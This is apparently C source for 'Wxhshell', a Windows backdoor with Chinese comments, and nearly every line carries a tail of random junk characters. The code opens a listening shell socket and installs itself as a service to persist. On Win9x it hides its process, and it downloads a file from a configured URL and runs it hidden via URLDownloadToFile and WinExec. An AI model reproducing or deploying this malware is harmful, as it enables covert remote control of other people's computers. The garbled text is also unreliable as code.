DWORD PebBaseAddress; mv99SOe[Fz
DWORD AffinityMask; g@^ y$wt
DWORD BasePriority; C/Q20
ULONG UniqueProcessId; yS~Y"#F!.
ULONG InheritedFromUniqueProcessId; UUDUda
} PROCESS_BASIC_INFORMATION; +@?Q "B5u}
\JM6zR^Ef
PROCNTQSIP NtQueryInformationProcess; m8F$h-
Ag9GYm
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1ARtFR2C{b
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }{N#JTmjB#
'O)v@p "
HANDLE hProcess; c
qCNk
PROCESS_BASIC_INFORMATION pbi; ):PN0.H8
xF!IT"5D
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wA$7SWC
if(NULL == hInst ) return 0; f4 S:L&
xcw:H&\w6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }&=l)\e
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OU%"dmSDk
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g/.FJ-I*
Ld*Ds!*'/
if (!NtQueryInformationProcess) return 0; #a=]h}&1?
a?+C]u?_D
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c;]\$#2
if(!hProcess) return 0; \;Q(o$5<
Wd7*7']
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8J'5%$3u
Z~Q5<A9Jz
CloseHandle(hProcess); t RU/[?!
>97YK =
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CbM~\6R
if(hProcess==NULL) return 0; NOs00 H
t#P7'9Se8
HMODULE hMod; |.Vgk8oTl
char procName[255]; v];YC6shx
unsigned long cbNeeded; 8i]
S[$Fc
(Z>?\iNJ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mh"PA p
LAc60^t1
CloseHandle(hProcess); u_WUJ_
E|;>!MMA;
if(strstr(procName,"services")) return 1; // 以服务启动 S*G^U1Sc+
i}8OaX3x
return 0; // 注册表启动 (.N n|lY<i
} 12#yHsk
O:GP uVb\
// 主模块 n>u_>2Ikkj
int StartWxhshell(LPSTR lpCmdLine) 9<rs3 84
{ ]vf_4QW=
SOCKET wsl; OSO MFt
BOOL val=TRUE; bJMsB|r
int port=0; t }4
struct sockaddr_in door; b)IQa,enH
8g8eY pG
if(wscfg.ws_autoins) Install(); %TI3Eb
UucX1%
port=atoi(lpCmdLine); r8 YM#dF
f`ibP6%
if(port<=0) port=wscfg.ws_port; -_9*BvS]R
tb?TPd-OY
WSADATA data; ?a,#p
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W>!:K^8]
W[I[Xg&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; U:~]>B $
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mQVlE__ub
door.sin_family = AF_INET; a :*N0
door.sin_addr.s_addr = inet_addr("127.0.0.1"); yH:p*|% :
door.sin_port = htons(port); ih)\P0wed
>{Ayzz>v
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1^]IuPxq
closesocket(wsl); N}/V2K]Q
return 1; lPz`?Hn
} ]lKUpsQI
d1.@v;
if(listen(wsl,2) == INVALID_SOCKET) { L %ac sb}
closesocket(wsl); XPrnQJ
return 1; `&x>2FJ
} L:_{bE|TY
Wxhshell(wsl); yq x!{8=V
WSACleanup(); en|~`]HF
O D5qPovsd
return 0; zK~_e\m
!lg_zAV
} e%:vLE
9
|^Yz*r?BJ
// 以NT服务方式启动 D@X"1X!F`G
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;C =d(
pY
{ -}xK>
["
DWORD status = 0; mW)kWuOO
DWORD specificError = 0xfffffff; 3BK
8{/
x2fqfrr_]
serviceStatus.dwServiceType = SERVICE_WIN32; "PTEt{qn
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1Bs t|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j/oc+ M^
serviceStatus.dwWin32ExitCode = 0; _T.`+0UV
serviceStatus.dwServiceSpecificExitCode = 0; aW_Y
serviceStatus.dwCheckPoint = 0; V&j]*)
serviceStatus.dwWaitHint = 0; VXk[p
lrkgsv6
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LsGO~EiJ
if (hServiceStatusHandle==0) return; 3`D*AFQc
`;G@qp:A
status = GetLastError(); Jon3ywd1Y
if (status!=NO_ERROR) EpACd8Fb
{ $[HCetaqV
serviceStatus.dwCurrentState = SERVICE_STOPPED; .(p_YjIA
serviceStatus.dwCheckPoint = 0; n=DmdQ}
serviceStatus.dwWaitHint = 0; #(}{*dR
serviceStatus.dwWin32ExitCode = status; FDF DB
serviceStatus.dwServiceSpecificExitCode = specificError; x/]G"?Uix
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jEx8G3EL
return; ' p!&&.%
} 4+>~Ui_#
pIrL7Pb0
serviceStatus.dwCurrentState = SERVICE_RUNNING; Q+a&a]*KL^
serviceStatus.dwCheckPoint = 0; 7a_u=\,
serviceStatus.dwWaitHint = 0; SsMs#C8u%
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,,j> 2Ts
} /w6'tut
^Hf?["m^@
// 处理NT服务事件,比如:启动、停止 D?xR>Oo)
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?Nt m5(R
{ Su@V5yz
switch(fdwControl) 3&[ d.,/
{ _W Hi<,-
case SERVICE_CONTROL_STOP: +Y+fM
serviceStatus.dwWin32ExitCode = 0; 0%rE*h9+
serviceStatus.dwCurrentState = SERVICE_STOPPED; wmbG$T%k
serviceStatus.dwCheckPoint = 0; (@BB@G
serviceStatus.dwWaitHint = 0; AVz907h8
{ 2sqH
>fen
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (G{:O
} dJQwb
return; vfDX~_N
case SERVICE_CONTROL_PAUSE: Iza#v0
serviceStatus.dwCurrentState = SERVICE_PAUSED; ,Cm1~ExJ
break; ;)f,A)(Z
case SERVICE_CONTROL_CONTINUE: asvM/ 9
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3# 0Nd"/0
break; P_Gu~B!Y
case SERVICE_CONTROL_INTERROGATE: /&=y_%VR
break; { O=_c|u{N
}; Y^#>3T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >;M STHeW
} bjwl21;{
]~3a ~
// 标准应用程序主函数 ;&w_.j*Is
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .db:mSrL
{ 2S@Cj{R(
nYC S %\"
// 获取操作系统版本 ?:vB_@
OsIsNt=GetOsVer(); r<dvo%I#|
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~}D"8[ABj
?*q-u9s9
// 从命令行安装 rV%;d[LB
if(strpbrk(lpCmdLine,"iI")) Install(); ki`ur%h
!8
l&%
// 下载执行文件 r;waT@&C
if(wscfg.ws_downexe) { {A MAQ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ql}#mC.>/
WinExec(wscfg.ws_filenam,SW_HIDE); sx[mbKj<
} ZI :wJU:f
D_z&G)
if(!OsIsNt) { |n s9ziTDI
// 如果时win9x,隐藏进程并且设置为注册表启动 Ln h'y`q
HideProc(); SrWmV@"y
StartWxhshell(lpCmdLine); HZ{DlH;&
} 5C-n"8&C&
else >Zm|R|{BE
if(StartFromService()) vHymSU/J
// 以服务方式启动 <&1hJ)O
StartServiceCtrlDispatcher(DispatchTable); V22Br#+
else f0{tBD!%
// 普通方式启动 up?S (.*B
StartWxhshell(lpCmdLine); FSZ :}Q
y>J6)F
=
return 0; pug;1UZ
}